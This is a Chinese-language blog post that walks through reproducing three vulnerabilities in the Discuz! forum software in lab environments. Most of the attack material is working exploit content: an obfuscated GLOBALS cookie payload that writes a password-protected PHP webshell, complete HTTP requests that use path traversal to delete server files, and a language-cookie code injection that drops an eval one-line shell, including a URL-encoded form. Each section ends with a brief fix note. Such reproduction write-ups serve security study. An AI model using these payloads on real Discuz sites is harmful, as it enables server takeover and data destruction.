• discuz漏洞复现


    简介

    漏洞环境:不另作说明均为vulhub

    参考链接:

    官网:https://www.discuz.net/

    百科:https://baike.baidu.com/item/discuz!/8680254?fromtitle=discuz&fromid=1946968&fr=aladdin

    Crossday Discuz! Board(简称 Discuz!)是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。

    wooyun-2010-080723

    参考链接:

    https://blog.csdn.net/qq_36241198/article/details/115151040

    http://nu0l.top/?p=703

    由于php 5.3.x版本里php.ini的设置里request_order默认值为GP,导致(\_REQUEST中不再包含)_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

    我在别的博客上看到,这个漏洞也叫Discuz 7.x/6.x 全局变量防御绕过导致代码执行

    漏洞复现

    启动环境,访问http://IP:8080/install安装discuz。

    数据库地址填写db,数据库名为discuz。数据库的用户名和密码不能乱填,均为root,其他的可以根据自己的想法填写。

    安装成功过后,点击默认板块,进入到默认板块页面,点击已有的任意一个贴子,使用burp拦截抓包,在cookie中添加payload,GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();,点击发送,查看响应。

    写入shell:

    Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
    

    即可在根路径下生成x.php,连接密码为pwdPOST请求方式。

    漏洞修复

    7.x、6.x已经很老了,肯定是要进行升级到最新版,说是最新版也是18年发布的了。

    他这个版本,我查到的是已经到了X3.4,注意前面的X。

    x3.4-arbitrary-file-deletion

    任意文件删除漏洞。

    参考链接:

    https://www.jianshu.com/p/574cdc6d3a92

    https://blog.csdn.net/JiangBuLiu/article/details/94051762

    在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。

    漏洞复现

    启动环境,访问http://IP:8080/install安装discuz。

    数据库地址填写db,数据库名为discuz。数据库的用户名和密码不能乱填,均为root,其他的可以根据自己的想法填写。

    首先访问http://ip/robots.txt文件,证明该文件存在。

    首先注册一个用户,注册完成后登录。在个人设置页面找到formhash字段,获取它的值,因为一会要用。

    使用下面的请求包修改个人资料中的出生地,需要复制登录后的用户cookie和formhash到请求包中。

        POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
        Host: [ip]
        Content-Length: 367
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
        Cookie: [cookie]
        Connection: close
    
        ------WebKitFormBoundaryPFvXyxL45f34L12s
        Content-Disposition: form-data; name="formhash"
    
        [formhash]
        ------WebKitFormBoundaryPFvXyxL45f34L12s
        Content-Disposition: form-data; name="birthprovince"
    
        ../../../robots.txt
        ------WebKitFormBoundaryPFvXyxL45f34L12s
        Content-Disposition: form-data; name="profilesubmit"
    
        1
        ------WebKitFormBoundaryPFvXyxL45f34L12s--
    

    至于直接抓修改出生地址请求包的方式行不行我不清楚了,因为复现的时候遇到问题,我不确定这样操作的话会不会影响结果,如果单纯是修改出生地址的话,应该没有影响。

    再使用下面的请求包,进行文件删除操作,它是又重新上传了一个正常图片。注意修改formhash、ip以及cookie。

    POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[formhash] HTTP/1.1
    Host: [ip]
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------123821742118716
    Content-Length: 200
    Connection: close
    Cookie: [cookie]
    Upgrade-Insecure-Requests: 1
    
    -----------------------------123821742118716
    Content-Disposition: form-data; name="birthprovince"; filename="0.jpg"
    Content-Type: image/jpeg
    
    xx
    
    -----------------------------123821742118716--
    
    

    修改完成后发送请求包,再次访问robots.txt文件,发现报404 Not found

    我试过那个写html文件,然后通过html文件上传正常图片进行删除的方式,但是没有复现成功。方式可以在csdn的博客文章中找到。

    漏洞修复

    直接将unlink语句删除,参考链接:

    https://cloud.tencent.com/developer/article/1079638

    Discuz!ML V3.X 代码注入漏洞

    漏洞环境:安鸾渗透实战平台

    http://www.whalwl.cn/

    参考链接:

    https://blog.csdn.net/weixin_42277564/article/details/99675105

    漏洞分析链接:https://www.jianshu.com/p/1dd795b04659

    该漏洞主要是通过控制缓存文件的内容,之后缓存文件又被系统调用从而触发,根据POC可知是通过构造Cookie中language的值进行代码注入,在language中构造错误代码判断漏洞触发文件。

    漏洞影响版本为Discuz!ML V3.X,目前是到3.4。

    漏洞复现

    首先注意的是,是ML的版本,multilingual的意思是多语言,不是说是3点几就一定存在这个漏洞。

    访问首页,使用burp拦截抓包,在Cooke中的xxxxx_languane后面添加要执行的php代码,如将其改为yGa2_2132_language=sc%27.phpinfo().%27;

    使用file_put_contents() 函数写入一句话木马。

    '.file_put_contents('shell.php',urldecode('<?php eval($_POST["cmd"]);?>')).'

    经过url编码:

    %27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

    访问网站根目录下的shell.php

    蚁剑连接:

    漏洞修复

    缓存文件名固定即可(参考链接漏洞分析)。

    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    Spring Cloud-Eureka的一些概念
    Spring Cloud-Eureka的基本架构
    Spring Cloud-分布式事务
    Spring Cloud-熔断机制
    SpringBoot下载文件
    redis 指定db库导入导出数据
    python基础:重新认识装饰器
    源码解析:django的CSRF认证
    源码解析:数据批量导入bukl_crete()原理
    剑指 Offer 13. 机器人的运动范围
  • 原文地址:https://www.cnblogs.com/ahtoh/p/14823441.html
Copyright © 2020-2023  润新知